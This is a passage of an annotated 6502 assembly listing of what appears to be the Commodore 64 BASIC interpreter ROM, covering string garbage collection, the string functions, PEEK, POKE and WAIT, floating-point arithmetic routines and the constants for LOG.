; check variable salvageability [B5BD] beq A_B559 ; loop always ; done string variables, now do string arrays A_B566 ; [B566] sta FacTempStor+1 ; save start of arrays LB as working ; pointer stx FacTempStor+2 ; save start of arrays HB as working ; pointer lda #$03 ; set step size, collecting descriptors sta GarbColStep ; save step size A_B56E ; [B56E] lda FacTempStor+1 ; get pointer LB ldx FacTempStor+2 ; get pointer HB A_B572 ; [B572] cpx STREND+1 ; compare with end of arrays HB bne A_B57D ; branch if not at end cmp STREND ; else compare with end of arrays LB bne A_B57D ; branch if not at end jmp CollectString ; collect string, tidy up and exit if ; at end ?? [B606] A_B57D ; [B57D] sta INDEX ; save pointer LB stx INDEX+1 ; save pointer HB ldy #$00 ; set index lda (INDEX),Y ; get array name first byte tax ; copy it iny ; increment index lda (INDEX),Y ; get array name second byte php ; push the flags iny ; increment index lda (INDEX),Y ; get array size LB adc FacTempStor+1 ; add start of this array LB sta FacTempStor+1 ; save start of next array LB iny ; increment index lda (INDEX),Y ; get array size HB adc FacTempStor+2 ; add start of this array HB sta FacTempStor+2 ; save start of next array HB plp ; restore the flags bpl A_B56E ; skip if not string array ; was possibly string array so ... txa ; get name first byte back bmi A_B56E ; skip if not string array iny ; increment index lda (INDEX),Y ; get # of dimensions ldy #$00 ; clear index asl ; *2 adc #$05 ; +5 (array header size) adc INDEX ; add pointer LB sta INDEX ; save pointer LB bcc A_B5AE ; branch if no rollover inc INDEX+1 ; else increment pointer hgih byte A_B5AE ; [B5AE] ldx INDEX+1 ; get pointer HB A_B5B0 ; [B5B0] cpx FacTempStor+2 ; compare pointer HB with end of this ; array HB bne A_B5B8 ; branch if not there yet cmp FacTempStor+1 ; compare pointer LB with end of this ; array LB beq A_B572 ; if at end of this array go check next ; array A_B5B8 ; [B5B8] jsr ChkStrSalvage ; check string salvageability [B5C7] beq A_B5B0 ; loop ; check variable salvageability ChkVarSalvage ; [B5BD] lda (INDEX),Y ; get variable name first byte bmi A_B5F6 ; add step and exit if not string iny ; increment index lda (INDEX),Y ; get variable name second byte bpl A_B5F6 ; add step and exit if not string iny ; increment index ; check string salvageability ChkStrSalvage ; [B5C7] lda (INDEX),Y ; get string length beq A_B5F6 ; add step and exit if null string iny ; increment index lda (INDEX),Y ; get string pointer LB tax ; copy to X iny ; increment index lda (INDEX),Y ; get string pointer HB cmp FRETOP+1 ; compare string pointer HB with bottom ; of string space HB bcc A_B5DC ; if bottom of string space greater, go ; test against highest uncollected ; string bne A_B5F6 ; if bottom of string space less string ; has been collected so go update ; pointers, step to next and return ; HBs were equal so test LBs cpx FRETOP ; compare string pointer LB with bottom ; of string space LB bcs A_B5F6 ; if bottom of string space less string ; has been collected so go update ; pointers, step to next and return ; else test string against highest uncollected string so far A_B5DC ; [B5DC] cmp FacTempStor+9 ; compare string pointer HB with highest ; uncollected string HB bcc A_B5F6 ; if highest uncollected string is ; greater then go update pointers, step ; to next and return bne A_B5E6 ; if highest uncollected string is less ; then go set this string as highest ; uncollected so far ; HBs were equal so test LBs cpx FacTempStor+8 ; compare string pointer LB with highest ; uncollected string LB bcc A_B5F6 ; if highest uncollected string is ; greater then go update pointers, step ; to next and return ; else set current string as highest uncollected string A_B5E6 ; [B5E6] stx FacTempStor+8 ; save string pointer LB as highest ; uncollected string LB sta FacTempStor+9 ; save string pointer HB as highest ; uncollected string HB lda INDEX ; get descriptor pointer LB ldx INDEX+1 ; get descriptor pointer HB sta GarbagePtr ; save working pointer HB stx GarbagePtr+1 ; save working pointer LB lda GarbColStep ; get step size sta Jump0054+1 ; copy step size A_B5F6 ; [B5F6] lda GarbColStep ; get step size clc ; clear carry for add adc INDEX ; add pointer LB sta INDEX ; save pointer LB bcc A_B601 ; branch if no rollover inc INDEX+1 ; else increment pointer HB A_B601 ; [B601] ldx INDEX+1 ; get pointer HB ldy #$00 ; flag not moved rts ; collect string CollectString ; [B606] lda GarbagePtr+1 ; get working pointer LB ora GarbagePtr ; OR working pointer HB beq A_B601 ; exit if nothing to collect lda Jump0054+1 ; get copied step size and #$04 ; mask step size, $04 for variables, ; $00 for array or stack lsr ; >> 1 tay ; copy to index sta Jump0054+1 ; save offset to descriptor start lda (GarbagePtr),Y ; get string length LB adc FacTempStor+8 ; add string start LB sta FacTempStor+3 ; set block end LB lda FacTempStor+9 ; get string start HB adc #$00 ; add carry sta FacTempStor+4 ; set block end HB lda FRETOP ; get bottom of string space LB ldx FRETOP+1 ; get bottom of string space HB sta FacTempStor+1 ; save destination end LB stx FacTempStor+2 ; save destination end HB jsr MoveBlock2 ; open up space in memory, don't set ; array end. this copies the string from ; where it is to the end of the ; uncollected string memory [A3BF] ldy Jump0054+1 ; restore offset to descriptor start iny ; increment index to string pointer LB lda FacTempStor+1 ; get new string pointer LB sta (GarbagePtr),Y ; save new string pointer LB tax ; copy string pointer LB inc FacTempStor+2 ; increment new string pointer HB lda FacTempStor+2 ; get new string pointer HB iny ; increment index to string pointer HB sta (GarbagePtr),Y ; save new string pointer HB jmp CollectGarbag2 ; re-run routine from last ending, XA ; holds new bottom [B52A] ; of string memory pointer ;****************************************************************************** ; ; concatenate ; add strings, the first string is in the descriptor, the second string is in ; line ConcatStrings ; [B63D] lda FacMantissa+3 ; get descriptor pointer HB pha ; put on stack lda FacMantissa+2 ; get descriptor pointer LB pha ; put on stack jsr GetNextParm ; get value from line [AE83] jsr CheckIfString ; check if source is string, else do ; type mismatch [AD8F] pla ; get descriptor pointer LB back sta ARISGN ; set pointer LB pla ; get descriptor pointer HB back sta FACOV ; set pointer HB ldy #$00 ; clear index lda (ARISGN),Y ; get length of first string from ; descriptor clc ; clear carry for add adc (FacMantissa+2),Y ; add length of second string bcc A_B65D ; branch if no overflow ldx #$17 ; else error $17, string too long error jmp OutputErrMsg ; do error #X then warm start [A437] A_B65D ; [B65D] jsr StringVector ; copy descriptor pointer and make ; string space A bytes long [B475] jsr Str2UtilPtr ; copy string from descriptor to utility ; pointer [B67A] lda TempPtr ; get descriptor pointer LB ldy TempPtr+1 ; get descriptor pointer HB jsr PopStrDescStk2 ; pop (YA) descriptor off stack or from ; top of string space returns with ; A = length, X = pointer LB, ; Y = pointer HB [B6AA] jsr Str2UtilPtr3 ; store string from pointer to utility ; pointer [B68C] lda ARISGN ; get descriptor pointer LB ldy FACOV ; get descriptor pointer HB jsr PopStrDescStk2 ; pop (YA) descriptor off stack or from ; top of string space returns with ; A = length, X = pointer LB, ; Y = pointer HB [B6AA] jsr ChkRoomDescStk ; check space on descriptor stack then ; put string address and length on ; descriptor stack and update stack ; pointers [B4CA] jmp EvaluateValue3 ; continue evaluation [ADB8] ;****************************************************************************** ; ; copy string from descriptor to utility pointer Str2UtilPtr ; [B67A] ldy #$00 ; clear index lda (ARISGN),Y ; get string length pha ; save it iny ; increment index lda (ARISGN),Y ; get string pointer LB tax ; copy to X iny ; increment index lda (ARISGN),Y ; get string pointer HB tay ; copy to Y pla ; get length back Str2UtilPtr2 ; [B688] stx INDEX ; save string pointer LB sty INDEX+1 ; save string pointer HB ; store string from pointer to utility pointer Str2UtilPtr3 ; [B68C] tay ; copy length as index beq A_B699 ; branch if null string pha ; save length A_B690 ; [B690] dey ; decrement length/index lda (INDEX),Y ; get byte from string sta (FRESPC),Y ; save byte to destination tya ; copy length/index bne A_B690 ; loop if not all done yet pla ; restore length A_B699 ; [B699] clc ; clear carry for add adc FRESPC ; add string utility ptr LB sta FRESPC ; save string utility ptr LB bcc A_B6A2 ; branch if no rollover inc FRESPC+1 ; increment string utility ptr HB A_B6A2 ; [B6A2] rts ;****************************************************************************** ; ; evaluate string EvalString ; [B6A3] jsr CheckIfString ; check if source is string, else do ; type mismatch [AD8F] ; pop string off descriptor stack, or from top of string space ; returns with A = length, X = pointer LB, Y = pointer HB PopStrDescStk ; [B6A6] lda FacMantissa+2 ; get descriptor pointer LB ldy FacMantissa+3 ; get descriptor pointer HB ; pop (YA) descriptor off stack or from top of string space ; returns with A = length, X = pointer LB, Y = pointer HB PopStrDescStk2 ; [B6AA] sta INDEX ; save string pointer LB sty INDEX+1 ; save string pointer HB jsr ClrDescrStack ; clean descriptor stack, YA = pointer ; [B6DB] php ; save status flags ldy #$00 ; clear index lda (INDEX),Y ; get length from string descriptor pha ; put on stack iny ; increment index lda (INDEX),Y ; get string pointer LB from descriptor tax ; copy to X iny ; increment index lda (INDEX),Y ; get string pointer HB from descriptor tay ; copy to Y pla ; get string length back plp ; restore status bne A_B6D6 ; branch if pointer <> last_sl,last_sh cpy FRETOP+1 ; compare with bottom of string space HB bne A_B6D6 ; branch if <> cpx FRETOP ; else compare with bottom of string ; space LB bne A_B6D6 ; branch if <> pha ; save string length clc ; clear carry for add adc FRETOP ; add bottom of string space LB sta FRETOP ; set bottom of string space LB bcc A_B6D5 ; skip increment if no overflow inc FRETOP+1 ; increment bottom of string space HB A_B6D5 ; [B6D5] pla ; restore string length A_B6D6 ; [B6D6] stx INDEX ; save string pointer LB sty INDEX+1 ; save string pointer HB rts ; clean descriptor stack, YA = pointer ; checks if AY is on the descriptor stack, if so does a stack discard ClrDescrStack ; [B6DB] cpy LASTPT+1 ; compare HB with current descriptor ; stack item pointer HB bne A_B6EB ; exit if <> cmp LASTPT ; compare LB with current descriptor ; stack item pointer LB bne A_B6EB ; exit if <> sta TEMPPT ; set descriptor stack pointer sbc #$03 ; update last string pointer LB sta LASTPT ; save current descriptor stack item ; pointer LB ldy #$00 ; clear HB A_B6EB ; [B6EB] rts ;****************************************************************************** ; ; perform CHR$() bcCHR ; [B6EC] jsr EvalByteExpr ; evaluate byte expression, result in X ; [B7A1] txa ; copy to A pha ; save character lda #$01 ; string is single byte jsr StringLengthA ; make string space A bytes long [B47D] pla ; get character back ldy #$00 ; clear index sta (FacMantissa),Y ; save byte in string - byte IS string! pla ; dump return address (skip type check) pla ; dump return address (skip type check) jmp ChkRoomDescStk ; check space on descriptor stack then ; put string address and length on ; descriptor stack and update stack ; pointers [B4CA] ;****************************************************************************** ; ; perform LEFT$() bcLEFT ; [B700] jsr PullStrFromStk ; pull string data and byte parameter ; from stack return pointer in ; descriptor, byte in A (and X), Y=0 ; [B761] cmp (TempPtr),Y ; compare byte parameter with string ; length tya ; clear A bcLEFT2 ; [B706] bcc A_B70C ; branch if string length > byte param lda (TempPtr),Y ; else make parameter = length tax ; copy to byte parameter copy tya ; clear string start offset A_B70C ; [B70C] pha ; save string start offset A_B70D ; [B70D] txa ; copy byte parameter (or string length ; if <) A_B70E ; [B70E] pha ; save string length jsr StringLengthA ; make string space A bytes long [B47D] lda TempPtr ; get descriptor pointer LB ldy TempPtr+1 ; get descriptor pointer HB jsr PopStrDescStk2 ; pop (YA) descriptor off stack or from ; top of string space returns with ; A = length, X = pointer LB, ; Y = pointer HB [B6AA] pla ; get string length back tay ; copy length to Y pla ; get string start offset back clc ; clear carry for add adc INDEX ; add start offset to string start ; pointer LB sta INDEX ; save string start pointer LB bcc A_B725 ; branch if no overflow inc INDEX+1 ; else increment string start pointer HB A_B725 ; [B725] tya ; copy length to A jsr Str2UtilPtr3 ; store string from pointer to utility ; pointer [B68C] jmp ChkRoomDescStk ; check space on descriptor stack then ; put string address and length on ; descriptor stack and update stack ; pointers [B4CA] ;****************************************************************************** ; ; perform RIGHT$() bcRIGHT ; [B72C] jsr PullStrFromStk ; pull string data and byte parameter ; from stack return pointer in ; descriptor, byte in A (and X), Y=0 ; [B761] clc ; clear carry for add-1 sbc (TempPtr),Y ; subtract string length eor #$FF ; invert it (A=LEN(expression$)-l) jmp bcLEFT2 ; go do rest of LEFT$() [B706] ;****************************************************************************** ; ; perform MID$() bcMID ; [B737] lda #$FF ; set default length = 255 sta FacMantissa+3 ; save default length jsr CHRGOT ; scan memory [0079] cmp #')' ; compare with ")" beq A_B748 ; branch if = ")" (skip second byte get) jsr Chk4Comma ; scan for ",", else do syntax error ; then warm start [AEFD] jsr GetByteParm2 ; get byte parameter [B79E] A_B748 ; [B748] jsr PullStrFromStk ; pull string data and byte parameter ; from stack return pointer in ; descriptor, byte in A (and X), Y=0 ; [B761] beq A_B798 ; if null do illegal quantity error then ; warm start dex ; decrement start index txa ; copy to A pha ; save string start offset clc ; clear carry for sub-1 ldx #$00 ; clear output string length sbc (TempPtr),Y ; subtract string length bcs A_B70D ; if start>string length go do null ; string eor #$FF ; complement -length cmp FacMantissa+3 ; compare byte parameter bcc A_B70E ; if length > remaining string go do ; RIGHT$ lda FacMantissa+3 ; get length byte bcs A_B70E ; go do string copy, branch always ;****************************************************************************** ; ; pull string data and byte parameter from stack ; return pointer in descriptor, byte in A (and X), Y=0 PullStrFromStk ; [B761] jsr Chk4CloseParen ; scan for ")", else do syntax error ; then warm start [AEF7] pla ; pull return address LB tay ; save return address LB pla ; pull return address HB sta Jump0054+1 ; save return address HB pla ; dump call to function vector LB pla ; dump call to function vector HB pla ; pull byte parameter tax ; copy byte parameter to X pla ; pull string pointer LB sta TempPtr ; save it pla ; pull string pointer HB sta TempPtr+1 ; save it lda Jump0054+1 ; get return address HB pha ; back on stack tya ; get return address LB pha ; back on stack ldy #$00 ; clear index txa ; copy byte parameter rts ;****************************************************************************** ; ; perform LEN() bcLEN ; [B77C] jsr GetLengthStr ; evaluate string, get length in A ; (and Y) [B782] jmp bcPOS2 ; convert Y to byte in FAC1 and return ; [B3A2] ;****************************************************************************** ; ; evaluate string, get length in Y GetLengthStr ; [B782] jsr EvalString ; evaluate string [B6A3] ldx #$00 ; set data type = numeric stx VALTYP ; clear data type flag, $FF = string, ; $00 = numeric tay ; copy length to Y rts ;****************************************************************************** ; ; perform ASC() bcASC ; [B78B] jsr GetLengthStr ; evaluate string, get length in A ; (and Y) [B782] beq A_B798 ; if null do illegal quantity error then ; warm start ldy #$00 ; set index to first character lda (INDEX),Y ; get byte tay ; copy to Y jmp bcPOS2 ; convert Y to byte in FAC1 and return ; [B3A2] ;****************************************************************************** ; ; do illegal quantity error then warm start A_B798 ; [B798] jmp IllegalQuant ; do illegal quantity error then warm ; start [B248] ;****************************************************************************** ; ; scan and get byte parameter GetByteParm ; [B79B] jsr CHRGET ; increment and scan memory [0073] ;****************************************************************************** ; ; get byte parameter GetByteParm2 ; [B79E] jsr EvalExpression ; evaluate expression and check is ; numeric, else do type mismatch [AD8A] ;****************************************************************************** ; ; evaluate byte expression, result in X EvalByteExpr ; [B7A1] jsr EvalInteger2 ; evaluate integer expression, sign ; check [B1B8] ldx FacMantissa+2 ; get FAC1 mantissa 3 bne A_B798 ; if not null do illegal quantity error ; then warm start ldx FacMantissa+3 ; get FAC1 mantissa 4 jmp CHRGOT ; scan memory and return [0079] ;****************************************************************************** ; ; perform VAL() bcVAL ; [B7AD] jsr GetLengthStr ; evaluate string, get length in A ; (and Y) [B782] bne A_B7B5 ; branch if not null string ; string was null so set result = $00 jmp ClrFAC1ExpSgn ; clear FAC1 exponent and sign and ; return [B8F7] A_B7B5 ; [B7B5] ldx TXTPTR ; get BASIC execute pointer LB ldy TXTPTR+1 ; get BASIC execute pointer HB stx FBUFPT ; save BASIC execute pointer LB sty FBUFPT+1 ; save BASIC execute pointer HB ldx INDEX ; get string pointer LB stx TXTPTR ; save BASIC execute pointer LB clc ; clear carry for add adc INDEX ; add string length sta INDEX+2 ; save string end LB ldx INDEX+1 ; get string pointer HB stx TXTPTR+1 ; save BASIC execute pointer HB bcc A_B7CD ; branch if no HB increment inx ; increment string end HB A_B7CD ; [B7CD] stx INDEX+3 ; save string end HB ldy #$00 ; set index to $00 lda (INDEX+2),Y ; get string end byte pha ; push it tya ; clear A sta (INDEX+2),Y ; terminate string with $00 jsr CHRGOT ; scan memory [0079] jsr String2FAC1 ; get FAC1 from string [BCF3] pla ; restore string end byte ldy #$00 ; clear index sta (INDEX+2),Y ; put string end byte back ;****************************************************************************** ; ; restore BASIC execute pointer from temp RestBasExecPtr ; [B7E2] ldx FBUFPT ; get BASIC execute pointer LB back ldy FBUFPT+1 ; get BASIC execute pointer HB back stx TXTPTR ; save BASIC execute pointer LB sty TXTPTR+1 ; save BASIC execute pointer HB rts ;****************************************************************************** ; ; get parameters for POKE/WAIT GetParms ; [B7EB] jsr EvalExpression ; evaluate expression and check is ; numeric, else do type mismatch [AD8A] jsr FAC1toTmpInt ; convert FAC_1 to integer in temporary ; integer [B7F7] GetParms2 ; [B7F1] jsr Chk4Comma ; scan for ",", else do syntax error ; then warm start [AEFD] jmp GetByteParm2 ; get byte parameter and return [B79E] ;****************************************************************************** ; ; convert FAC_1 to integer in temporary integer FAC1toTmpInt ; [B7F7] lda FACSGN ; get FAC1 sign bmi A_B798 ; if -ve do illegal quantity error then ; warm start lda FACEXP ; get FAC1 exponent cmp #$91 ; compare with exponent = 2^16 bcs A_B798 ; if >= do illegal quantity error then ; warm start jsr FAC1Float2Fix ; convert FAC1 floating to fixed [BC9B] lda FacMantissa+2 ; get FAC1 mantissa 3 ldy FacMantissa+3 ; get FAC1 mantissa 4 sty LINNUM ; save temporary integer LB sta LINNUM+1 ; save temporary integer HB rts ;****************************************************************************** ; ; perform PEEK() bcPEEK ; [B80D] lda LINNUM+1 ; get line number HB pha ; save line number HB lda LINNUM ; get line number LB pha ; save line number LB jsr FAC1toTmpInt ; convert FAC_1 to integer in temporary ; integer [B7F7] ldy #$00 ; clear index lda (LINNUM),Y ; read byte tay ; copy byte to A pla ; pull byte sta LINNUM ; restore line number LB pla ; pull byte sta LINNUM+1 ; restore line number HB jmp bcPOS2 ; convert Y to byte in FAC_1 and return ; [B3A2] ;****************************************************************************** ; ; perform POKE bcPOKE ; [B824] jsr GetParms ; get parameters for POKE/WAIT [B7EB] txa ; copy byte to A ldy #$00 ; clear index sta (LINNUM),Y ; write byte rts ;****************************************************************************** ; ; perform WAIT bcWAIT ; [B82D] jsr GetParms ; get parameters for POKE/WAIT [B7EB] stx FORPNT ; save byte ldx #$00 ; clear mask jsr CHRGOT ; scan memory [0079] beq A_B83C ; skip if no third argument jsr GetParms2 ; scan for "," and get byte, else syntax ; error then warm start [B7F1] A_B83C ; [B83C] stx FORPNT+1 ; save EOR argument ldy #$00 ; clear index A_B840 ; [B840] lda (LINNUM),Y ; get byte via temporary integer eor FORPNT+1 ; EOR with second argument (mask) and FORPNT ; AND with first argument (byte) beq A_B840 ; loop if result is zero A_B848 ; [B848] rts ;****************************************************************************** ; ; add 0.5 to FAC1 (round FAC1) FAC1plus05 ; [B849] lda #<L_BF11 ; set 0.5 pointer LB ldy #>L_BF11 ; set 0.5 pointer HB jmp AddFORvar2FAC1 ; add (AY) to FAC1 [B867] ;****************************************************************************** ; ; perform subtraction, FAC1 from (AY) AYminusFAC1 ; [B850] jsr UnpackAY2FAC2 ; unpack memory (AY) into FAC2 [BA8C] ;****************************************************************************** ; ; perform subtraction, FAC1 from FAC2 bcMINUS lda FACSGN ; get FAC1 sign (b7) eor #$FF ; complement it sta FACSGN ; save FAC1 sign (b7) eor ARGSGN ; EOR with FAC2 sign (b7) sta ARISGN ; save sign compare (FAC1 EOR FAC2) lda FACEXP ; get FAC1 exponent jmp bcPLUS ; add FAC2 to FAC1 and return [B86A] A_B862 ; [B862] jsr shftFACxAright ; shift FACX A times right (>8 shifts) ; [B999] bcc A_B8A3 ;.go subtract mantissas ;****************************************************************************** ; ; add (AY) to FAC1 AddFORvar2FAC1 ; [B867] jsr UnpackAY2FAC2 ; unpack memory (AY) into FAC2 [BA8C] ;****************************************************************************** ; ; add FAC2 to FAC1 bcPLUS ; [B86A] bne A_B86F ; branch if FAC1 is not zero jmp CopyFAC2toFAC1 ; FAC1 was zero so copy FAC2 to FAC1 ; and return [BBFC] ; FAC1 is non zero A_B86F ; [B86F] ldx FACOV ; get FAC1 rounding byte stx Jump0054+2 ; save as FAC2 rounding byte ldx #ARGEXP ; set index to FAC2 exponent address lda ARGEXP ; get FAC2 exponent bcPLUS2 ; [B877] tay ; copy exponent beq A_B848 ; exit if zero sec ; set carry for subtract sbc FACEXP ; subtract FAC1 exponent beq A_B8A3 ; if equal go add mantissas bcc A_B893 ; if FAC2 < FAC1 then shift FAC2 right ; else FAC2 > FAC1 sty FACEXP ; save FAC1 exponent ldy ARGSGN ; get FAC2 sign (b7) sty FACSGN ; save FAC1 sign (b7) eor #$FF ; complement A adc #$00 ; +1, twos complement, carry is set ldy #$00 ; clear Y sty Jump0054+2 ; clear FAC2 rounding byte ldx #FACEXP ; set index to FAC1 exponent address bne A_B897 ; branch always ; FAC2 < FAC1 A_B893 ; [B893] ldy #$00 ; clear Y sty FACOV ; clear FAC1 rounding byte A_B897 ; [B897] cmp #$F9 ; compare exponent diff with $F9 bmi A_B862 ; branch if range $79-$F8 tay ; copy exponent difference to Y lda FACOV ; get FAC1 rounding byte lsr D6510+1,X ; shift FAC? mantissa 1 jsr shftFACxYright ; shift FACX Y times right [B9B0] ; exponents are equal now do mantissa subtract A_B8A3 ; [B8A3] bit ARISGN ; test sign compare (FAC1 EOR FAC2) bpl A_B8FE ; if = add FAC2 mantissa to FAC1 ; mantissa and return ldy #FACEXP ; set the Y index to FAC1 exponent ; address cpx #ARGEXP ; compare X to FAC2 exponent address beq A_B8AF ; if = continue, Y = FAC1, X = FAC2 ldy #ARGEXP ; else set the Y index to FAC2 exponent ; address ; subtract the smaller from the bigger (take the sign of ; the bigger) A_B8AF ; [B8AF] sec ; set carry for subtract eor #$FF ; ones complement A adc Jump0054+2 ; add FAC2 rounding byte sta FACOV ; save FAC1 rounding byte lda D6510+4,Y ; get FACY mantissa 4 sbc D6510+4,X ; subtract FACX mantissa 4 sta FacMantissa+3 ; save FAC1 mantissa 4 lda D6510+3,Y ; get FACY mantissa 3 sbc D6510+3,X ; subtract FACX mantissa 3 sta FacMantissa+2 ; save FAC1 mantissa 3 lda D6510+2,Y ; get FACY mantissa 2 sbc D6510+2,X ; subtract FACX mantissa 2 sta FacMantissa+1 ; save FAC1 mantissa 2 lda D6510+1,Y ; get FACY mantissa 1 sbc D6510+1,X ; subtract FACX mantissa 1 sta FacMantissa ; save FAC1 mantissa 1 ;****************************************************************************** ; ; do ABS and normalise FAC1 AbsNormalFAC1 ; [B8D2] bcs NormaliseFAC1 ; branch if number is positive jsr NegateFAC1 ; negate FAC1 [B947] ;****************************************************************************** ; ; normalise FAC1 NormaliseFAC1 ; [B8D7] ldy #$00 ; clear Y tya ; clear A clc ; clear carry for add A_B8DB ; [B8DB] ldx FacMantissa ; get FAC1 mantissa 1 bne A_B929 ; if not zero normalise FAC1 ldx FacMantissa+1 ; get FAC1 mantissa 2 stx FacMantissa ; save FAC1 mantissa 1 ldx FacMantissa+2 ; get FAC1 mantissa 3 stx FacMantissa+1 ; save FAC1 mantissa 2 ldx FacMantissa+3 ; get FAC1 mantissa 4 stx FacMantissa+2 ; save FAC1 mantissa 3 ldx FACOV ; get FAC1 rounding byte stx FacMantissa+3 ; save FAC1 mantissa 4 sty FACOV ; clear FAC1 rounding byte adc #$08 ; add x to exponent offset cmp #$20 ; compare with $20, max offset, all bits ; would be = 0 bne A_B8DB ; loop if not max ;****************************************************************************** ; ; clear FAC1 exponent and sign ClrFAC1ExpSgn ; [B8F7] lda #$00 ; clear A ClrFAC1Exp ; [B8F9] sta FACEXP ; set FAC1 exponent ;****************************************************************************** ; ; save FAC1 sign SaveFAC1Sign ; [B8FB] sta FACSGN ; save FAC1 sign (b7) rts ;****************************************************************************** ; ; add FAC2 mantissa to FAC1 mantissa A_B8FE ; [B8FE] adc Jump0054+2 ; add FAC2 rounding byte sta FACOV ; save FAC1 rounding byte lda FacMantissa+3 ; get FAC1 mantissa 4 adc ArgMantissa+3 ; add FAC2 mantissa 4 sta FacMantissa+3 ; save FAC1 mantissa 4 lda FacMantissa+2 ; get FAC1 mantissa 3 adc ArgMantissa+2 ; add FAC2 mantissa 3 sta FacMantissa+2 ; save FAC1 mantissa 3 lda FacMantissa+1 ; get FAC1 mantissa 2 adc ArgMantissa+1 ; add FAC2 mantissa 2 sta FacMantissa+1 ; save FAC1 mantissa 2 lda FacMantissa ; get FAC1 mantissa 1 adc ArgMantissa ; add FAC2 mantissa 1 sta FacMantissa ; save FAC1 mantissa 1 jmp NormaliseFAC12 ; test and normalise FAC1 for C=0/1 ; [B936] A_B91D ; [B91D] adc #$01 ; add 1 to exponent offset asl FACOV ; shift FAC1 rounding byte rol FacMantissa+3 ; shift FAC1 mantissa 4 rol FacMantissa+2 ; shift FAC1 mantissa 3 rol FacMantissa+1 ; shift FAC1 mantissa 2 rol FacMantissa ; shift FAC1 mantissa 1 ; normalise FAC1 A_B929 ; [B929] bpl A_B91D ; loop if not normalised sec ; set carry for subtract sbc FACEXP ; subtract FAC1 exponent bcs ClrFAC1ExpSgn ; branch if underflow (set result = $0) eor #$FF ; complement exponent adc #$01 ; +1 (twos complement) sta FACEXP ; save FAC1 exponent ; test and normalise FAC1 for C=0/1 NormaliseFAC12 ; [B936] bcc A_B946 ; exit if no overflow ; normalise FAC1 for C=1 NormaliseFAC13 ; [B938] inc FACEXP ; increment FAC1 exponent beq OverflowError ; if zero do overflow error then warm ; start ror FacMantissa ; shift FAC1 mantissa 1 ror FacMantissa+1 ; shift FAC1 mantissa 2 ror FacMantissa+2 ; shift FAC1 mantissa 3 ror FacMantissa+3 ; shift FAC1 mantissa 4 ror FACOV ; shift FAC1 rounding byte A_B946 ; [B946] rts ;****************************************************************************** ; ; negate FAC1 NegateFAC1 ; [B947] lda FACSGN ; get FAC1 sign (b7) eor #$FF ; complement it sta FACSGN ; save FAC1 sign (b7) ; twos complement FAC1 mantissa TwoComplFAC1 ; [B94D] lda FacMantissa ; get FAC1 mantissa 1 eor #$FF ; complement it sta FacMantissa ; save FAC1 mantissa 1 lda FacMantissa+1 ; get FAC1 mantissa 2 eor #$FF ; complement it sta FacMantissa+1 ; save FAC1 mantissa 2 lda FacMantissa+2 ; get FAC1 mantissa 3 eor #$FF ; complement it sta FacMantissa+2 ; save FAC1 mantissa 3 lda FacMantissa+3 ; get FAC1 mantissa 4 eor #$FF ; complement it sta FacMantissa+3 ; save FAC1 mantissa 4 lda FACOV ; get FAC1 rounding byte eor #$FF ; complement it sta FACOV ; save FAC1 rounding byte inc FACOV ; increment FAC1 rounding byte bne A_B97D ; exit if no overflow ; increment FAC1 mantissa IncFAC1Mant ; [B96F] inc FacMantissa+3 ; increment FAC1 mantissa 4 bne A_B97D ; finished if no rollover inc FacMantissa+2 ; increment FAC1 mantissa 3 bne A_B97D ; finished if no rollover inc FacMantissa+1 ; increment FAC1 mantissa 2 bne A_B97D ; finished if no rollover inc FacMantissa ; increment FAC1 mantissa 1 A_B97D ; [B97D] rts ;****************************************************************************** ; ; do overflow error then warm start OverflowError ; [B97E] ldx #$0F ; error $0F, overflow error jmp OutputErrMsg ; do error #X then warm start [A437] ;****************************************************************************** ; ; shift register to the right ShiftRegRight ; [B983] ldx #RESHO-1 ; set the offset to FACtemp A_B985 ; [B985] ldy RESHO-$22,X ; get FACX mantissa 4 sty FACOV ; save as FAC1 rounding byte ldy RESHO-$23,X ; get FACX mantissa 3 sty RESHO-$22,X ; save FACX mantissa 4 ldy RESHO-$24,X ; get FACX mantissa 2 sty RESHO-$23,X ; save FACX mantissa 3 ldy RESHO-$25,X ; get FACX mantissa 1 sty RESHO-$24,X ; save FACX mantissa 2 ldy BITS ; get FAC1 overfLB sty RESHO-$25,X ; save FACX mantissa 1 ; shift FACX -A times right (> 8 shifts) shftFACxAright ; [B999] adc #$08 ; add 8 to shift count bmi A_B985 ; go do 8 shift if still -ve beq A_B985 ; go do 8 shift if zero sbc #$08 ; else subtract 8 again tay ; save count to Y lda FACOV ; get FAC1 rounding byte bcs A_B9BA ;. A_B9A6 ; [B9A6] asl D6510+1,X ; shift FACX mantissa 1 bcc A_B9AC ; branch if +ve inc D6510+1,X ; this sets b7 eventually A_B9AC ; [B9AC] ror D6510+1,X ; shift FACX mantissa 1, correct for ASL ror D6510+1,X ; shift FACX mantissa 1, put carry in b7 ; shift FACX Y times right shftFACxYright ; [B9B0] ror D6510+2,X ; shift FACX mantissa 2 ror D6510+3,X ; shift FACX mantissa 3 ror D6510+4,X ; shift FACX mantissa 4 ror ; shift FACX rounding byte iny ; increment exponent diff bne A_B9A6 ; branch if range adjust not complete A_B9BA ; [B9BA] clc ; just clear it rts ;****************************************************************************** ; ; constants and series for LOG(n) Constant1 ; [B9BC] .byte $81,$00,$00,$00,$00 ; 1 ConstLogCoef ; [B9C1] .byte $03 ; series counter .byte $7F,$5E,$56,$CB,$79 .byte $80,$13,$9B,$0B,$64 .byte $80,$76,$38,$93,$16 .byte $82,$38,$AA,$3B,$20 Const1divSQR2 ; [B9D6] .byte $80,$35,$04,$F3,$34 ; 0.70711 1/root 2 ConstSQR2 ; [B9DB] .byte $81,$35,$04,$F3,$34 ; 1.41421 root 2 Const05 ; [B9E0] .byte $80,$80,$00,$00,$00 ; -0.5 1/2 ConstLOG2 ; [B9E5] .byte $80,$31,$72,$17,$F8 ; 0.69315 LOG(2) ;****************************************************************************** ; ; perform LOG() bcLOG ; [B9EA] jsr GetFacSign ; test sign and zero [BC2B] beq A_B9F1 ; if zero do illegal quantity error then ; warm start bpl A_B9F4 ; skip error if +ve A_B9F1 ; [B9F1] jmp IllegalQuant ; do illegal quantity error then warm ; start [B248] A_B9F4 ; [B9F4] lda FACEXP ; get FAC1 exponent sbc #$7F ; normalise it pha ; save it lda #$80 ; set exponent to zero sta FACEXP ; save FAC1 exponent lda #<Const1divSQR2 ; pointer to 1/root 2 LB ldy #>Const1divSQR2 ; pointer to 1/root 2 HB jsr AddFORvar2FAC1 ; add (AY) to FAC1 (1/root2) [B867] lda #<ConstSQR2 ; pointer to root 2 LB ldy #>ConstSQR2 ; pointer to root 2 HB jsr AYdivFAC1 ; convert AY and do (AY)/FAC1 